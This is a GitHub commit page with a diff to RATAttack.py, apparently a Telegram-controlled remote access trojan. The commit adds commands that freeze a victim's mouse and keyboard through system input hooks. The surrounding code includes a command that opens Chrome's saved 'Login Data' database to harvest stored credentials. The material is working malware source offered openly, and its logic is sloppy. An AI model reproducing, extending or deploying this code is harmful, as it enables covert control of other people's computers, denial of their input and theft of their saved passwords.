Skip to content

Commit

Permalink
This should work, will test when I have time
Browse files Browse the repository at this point in the history
(accidentally committed this with my work account - oops)
  • Loading branch information
Brendan T D. J authored and dudeisbrendan03 committed Oct 26, 2018
1 parent 6ef3db0 commit c093a11
Showing 1 changed file with 28 additions and 11 deletions.
39 changes: 28 additions & 11 deletions RATAttack.py
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,10 @@
import cv2#webcam
from ctypes import * #fixing pyinstaller - we need to import all the ctypes to get api-ms-win-crt-*, you will also need https://www.microsoft.com/en-US/download/details.aspx?id=48145

#For freezing the almighty mouse
global mouseFrozen
mouseFrozen = False

me = singleton.SingleInstance()
# REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED!
token = 'xx:xx' # you can set your environment variable as well
Expand Down Expand Up @@ -299,18 +303,31 @@ def handle(msg):
else:
response += 'enabled'
elif command.endswith('freeze_mouse'):
global mouseFrozen
mse = pyHook.HookManager()
mse.MouseAll = false_event
mse.KeyAll = false_event
mse.HookMouse()
mse.HookKeyboard()
pythoncom.PumpMessages()
if mouseFrozen:
response += 'disabled. To enable, use /unfreeze_mouse'
if mouseFrozen == False:
mse = pyHook.HookManager()
mse.MouseAll = false_event
mse.KeyAll = false_event
mse.HookMouse()
mse.HookKeyboard()
pythoncom.PumpMessages()
response += 'enabled. To disable use /unfreeze_mouse'
elif mouseFrozen == True:
response += 'enabled. To disable, use /unfreeze_mouse'
else:
response += 'enabled'
response += 'The script has commited the act of death'
elif command.endswith('unfreeze_mouse'):
if mouseFrozen == True:
mse = pyHook.HookManager()
mse.MouseAll = true_event
mse.KeyAll = true_event
mse.HookMouse()
mse.HookKeyboard()
pythoncom.PumpMessages()
response += 'disabled. To enable use /freeze_mouse'
elif mouseFrozen == False:
response += 'already disabled. To enable, use /freeze_mouse'
else:
response += 'The script has commited the act of death'
elif command == '/get_chrome':
con = sqlite3.connect(os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data')
cursor = con.cursor()
Expand Down

0 comments on commit c093a11

Please sign in to comment.